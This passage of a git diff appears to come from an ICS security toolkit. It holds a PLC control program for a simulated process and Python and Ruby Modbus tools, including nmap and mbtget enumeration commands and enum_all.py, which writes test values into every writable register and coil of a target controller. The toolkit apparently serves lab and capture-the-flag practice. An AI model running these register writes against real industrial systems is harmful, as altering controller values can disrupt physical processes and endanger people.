+END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') 